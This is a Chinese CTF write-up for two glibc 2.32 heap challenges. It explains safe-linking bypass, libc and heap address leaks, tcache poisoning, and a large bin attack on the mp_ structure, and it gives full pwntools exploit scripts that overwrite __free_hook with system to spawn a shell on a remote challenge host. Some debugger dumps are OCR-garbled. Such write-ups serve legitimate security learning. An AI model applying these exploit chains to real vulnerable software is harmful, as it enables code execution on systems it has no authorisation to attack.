Week3-伊丽莎白

safe_note

libc-2.32开始,tcache和fastbin出现safe-linking保护机制。

本题通过show tcache中的第一个堆块泄露libc基址,同时通过位移12得到key用于后续异或计算但泄露libc是本题最坑的一个地方,以往是用show当中的puts函数输出main_arena+96,也就是unsorted bin的头

由于这个libc版本的特殊性,该地址恰好为00结尾,导致show不出来,只能接收到一个\n但双向链表也不只是unsorted bin才有,通过small bin或large bin也可以实现一样的效果这里用small bin因为add对于大小有限制。(想进入large bin得>0x400)

做法是先分配堆块到unsorted bin,之后malloc一次size不匹配的堆块,unsorted bin中的堆块不会被取出而会被分配至对应的small或者large bin

gdb中看到偏移于是计算出libc基址

之后就是正常的double free了

Exp:

```
1 from pwn import*
 2 context.log_level="debug"
 3 context.terminal=["konsole","-e"]
 4 #p = process("./vuln")
 5 p = remote("week-3.hgame.lwsec.cn","31310")
 6 elf=ELF("./vuln")
 7 libc=ELF("./libc-2.32.so")
 8
9 def debug():
       gdb.attach(p)
10
11
12 def add(idx, size):
       p.sendlineafter(b"5. Exit",str(1))
13
       p.sendlineafter(b"Index: ",str(idx))
14
       p.sendlineafter(b"Size: ",str(size))
15
       #p.sendafter(b"Content: ",content)
16
17
18 def edit(idx,content):
       p.sendlineafter(b"5. Exit",str(3))
19
```

```
20
       p.sendlineafter(b"Index: ",str(idx))
       p.sendafter(b"Content: ",content)
21
22
23 def show(idx):
       p.sendlineafter(b"5. Exit", str(4))
24
       p.sendlineafter(b"Index: ",str(idx))
25
26 def delete(idx):
       p.sendlineafter(b"5. Exit",str(2))
27
28
       p.sendlineafter(b"Index: ",str(idx))
29
30 add(0,0x80)
31 add(11,0x80)
32 [add(i,0x80) for i in range(1,8)]
33 [delete(i)for i in range(1,8)]
34
35 \text{ show}(1)
36 heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
37 key=heap_base>>12
38 log.success("heap base : "+hex(heap_base))
39
40 delete(11)
41 add(12,0xf0)
42 #debug()
43 show(11)
44 base=u64(p.recv(6).ljust(8,b"\x00"))-libc.sym['__malloc_hook']-224-0x10
45 print("libc_base=",hex(base))
46 free_hook= base +libc.sym['__free_hook']
47 system=base+libc.sym['system']
48
49 cry_free_hook=(free_hook)^key
50 add(8,0x80)
51 delete(7)
52 edit(8,p64(cry_free_hook))
53 add(9,0x80)
54 edit(9,'/bin/sh\x00') ##9
55 \text{ add}(10,0x80)
56 edit(10,p64(system))
57 delete(9)
58
59 p.interactive()
60
```

large_note

Large bin attack操作难度不大,就是很绕,理解起来比较费时间,挺繁琐的但理解之后也就还可以

泄露libc和heap基址的方法都是通过large bin, 当large bin中只有一个堆块时,其fd,bk指针可用于泄露libc基址,其fd nextsize,bk nextsize可用于泄露heap基址。

不过泄露heap基址时我用垃圾数据覆盖掉了fd,bk,后续操作会出现问题,所以泄露完成后应该用之前 泄露的fd覆盖回去

这题的利用方法比较新,因为large bin attack实现的是任意地址写,但get shell需要配合其他的攻击方式(tcache poisoning、double free)

这题只能add size很大的chunk,delete不能直接进入tcache。于是学到了mp_结构体,其中tcache_bins变量记录了tcache的bin个数,默认为0x40,也就是size范围从0x20~0x410这64个bin,通过large bin attack可以将其篡改成一个很大的数,如此就可以将大chunk分配进入tcache。

那么这题就要打mp 结构体

图中是篡改之后的

```
p/x mp
trim_threshold = 0x20000,
top_pad = 0x20000,
mmap_threshold = 0x20000,
arena_test = 0x8,
arena_max = 0x0,
n_{maps} = 0x0,
n_{mmaps_max} = 0x10000,
\max_n_{max} = 0x0,
no_{dyn}_{threshold} = 0x0,
mmapped_mem = 0x0,
max_mmapped_mem = 0x0,
sbrk_base = 0x55fced92b000,
tcache_bins = 0x55fced92d0e0,
tcache_max_bytes = 0x408,
tcache_count = 0x7,
tcache_unsorted_limit = 0x0
```

之后就可以把大chunk 用tcache存取,但是其tcache_entry和链表头的位置有点怪,会导致gdb的分析出现错误

这里free了一块0x500的chunk,在这里看到tcachebins的解析有点奇怪,那就直接看堆地址

```
pwndbg> bins
tcachebins
0x50 [ 0]: 0x1000000000000
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x50: 0x0
0x70: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5624c0e8c5f0 → 0x7facbd11ac00 (main_arena+96) ← 0x5624c0e8c5f0
smallbins
empty
largebins
0xc: 0x5624c0e8b4c0 → 0x7facbd11b0b0 (main_arena+1296) ← 0x5624c0e8b4c0
```

pwndbg> x/150xg	0x5624c0e8a000	
0x5624c0e8a000:		0x000000000000291
0x5624c0e8a010:	0×00000000000000000	0×000000000000000
0x5624c0e8a020:	0×00000000000000000	0×000000000000000
0x5624c0e8a030:	0×00000000000000000	0×000000000000000
0x5624c0e8a040:	0×00000000000000000	0×000000000000000
0x5624c0e8a050:	0x00000000000000000	0×000000000000000
0x5624c0e8a060:	0x00000000000000000	0×000000000000000
0x5624c0e8a070:	0x00000000000000000	0×000000000000000
0x5624c0e8a080:	0×00000000000000000	0×000000000000000
0x5624c0e8a090:		0×000000000000000
	0x00000000000000000	0×000100000000000
	0x00000000000000000	axaaaaaaaaaaaaaa
	0x00000000000000000	0×000000000000000
	0x00000000000000000	0×00000000000000
0x5624c0e8a0e0:		0×000000000000000
0x5624c0e8a0f0:		0×000000000000000
0x5624c0e8a100:		0×000000000000000
	0x00000000000000000	0x000000000000000
	0x00000000000000000	0×000000000000000
	0x00000000000000000	0×000000000000000
	0x00000000000000000	0x000000000000000
0x5624c0e8a150:		0×000000000000000
0x5624c0e8a160:		0x000000000000000
0x5624c0e8a170:		0x000000000000000
0x5624c0e8a180:		0x000000000000000
0x5624c0e8a190:		0x000000000000000
0x5624c0e8a1a0:	0x0000000000000000000	0×0000000000000000 0×000000000000000
	0x000000000000000000	0×000000000000000
0x5624c0e8a1d0:		0×000000000000000
0x5624c0e8a1e0:		0×000000000000000
0x5624c0e8a1f0:		0×00000000000000
	0x000000000000000000	0×000000000000000
	0x000000000000000000	0x000000000000000
	0x000000000000000000	0×00000000000000
	0x000000000000000000	0×00000000000000
	0x00000000000000000	0×00000000000000
0x5624c0e8a250:		0x000000000000000
0x5624c0e8a260:		0×000000000000000
0x5624c0e8a270:		0x000000000000000
0x5624c0e8a280:		0x000000000000000
	0x00000000000000000	0×0000000000000511
	0x00007facbd11b030	0x00007facbd11b030
0x5624c0e8a2b0:		0x00005624c0e8a290
0x5624c0e8a2c0:		0×000000000000000
0x5624c0e8a2d0:	0x00000000000000000	0×000000000000000
0x5624c0e8a2e0:	0x0000000000000000	0×000000000000000
0x5624c0e8a2f0:	0x0000000000000000	0×00000000000000
0x5624c0e8a300:	0x00000000000000000	0x00005624c0e8c0f0

可见其entry位被当作了其他较小bin的链表头,但真正的链表头在tcache_perthread_struct这个结构体以下的位置(chunk1的内部),绿色框这一块是0x500大小的chunk1的范围,那么就可以使用edit对chunk1进行修改,指定位置写入free_hook,取出后就是free_hook,完成tcache poisoning.

Exp:

```
1 from pwn import*
 2 context.log_level="debug"
 3 context.terminal=["konsole","-e"]
 4 #p = process("./vuln")
 5 p = remote("week-3.hgame.lwsec.cn","32088")
 6 elf=ELF("./vuln")
7 libc=ELF("./libc-2.32.so")
 8
9 def debug():
       gdb.attach(p)
10
11
   def add(idx,size):
12
       p.sendlineafter(b"5. Exit",str(1))
13
       p.sendlineafter(b"Index: ",str(idx))
14
       p.sendlineafter(b"Size: ",str(size))
15
16
       #p.sendafter(b"Content: ",content)
17
18 def edit(idx,content):
       p.sendlineafter(b"5. Exit", str(3))
19
       p.sendlineafter(b"Index: ",str(idx))
20
       p.sendafter(b"Content: ",content)
21
22
23 def show(idx):
       p.sendlineafter(b"5. Exit", str(4))
24
       p.sendlineafter(b"Index: ",str(idx))
25
26 def delete(idx):
       p.sendlineafter(b"5. Exit",str(2))
27
       p.sendlineafter(b"Index: ",str(idx))
28
29
30 add(1,0x500)#1
31 add(2,0x600)
32 add(3,0x700)
33
34 delete(1)
35 delete(3)
36 \text{ add}(4,0x700)
37 \text{ show}(1)
38
39 out=u64(p.recv(6).ljust(8,b"\x00"))
40 base=out-libc.sym['__malloc_hook']-1168-0x10
41 print("libc_base=",hex(base))
42 free_hook= base +libc.sym['__free_hook']
43 system=base+libc.sym['system']
44 mp_offset=0x7fb195cdc280-0x7fb195af9000
45 mp =base+mp offset
46 print("mp_=",hex(mp_))
47 target=mp_+0x50
```

```
48
49 add(10,0x500) #take out 1
50
51 add(5,0x700) #chunk1
52 add(6,0x500)
53 add(7,0x6f0) #chunk2
54 \text{ add}(8,0x500)
55 delete(5)
56 \text{ add}(9,0x900)
57 delete(7)
58 show(5)
59 fd=u64(p.recv(6).ljust(8,b"\x00"))
60 edit(\frac{5}{p64}(fd)*\frac{2+p64}{target-0x20}*\frac{2}{2})
61 add(11,0x900)
62
63 edit(1,b'a'*0x10)
64 show(1)
65 p.recvuntil(b'a'*0x10)
66 heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
67 edit(1,p64(out)*2)
68 key=heap_base>>12
69 log.success("heap base : "+hex(heap_base))
70 cry_free_hook=(free_hook)^key
71
72
73 #debug()
74 add(2,0x500)
75 delete(2)
76 print(hex(free_hook))
77 edit(1,p64(base)*2+p64(heap\_base)*2+p64(0)*9+p64(free\_hook))
78 add(3,0x500)
79 edit(3,p64(system))
80 edit(6,b'/bin/sh\x00')
81 delete(6)
82
83 p.interactive()
84
```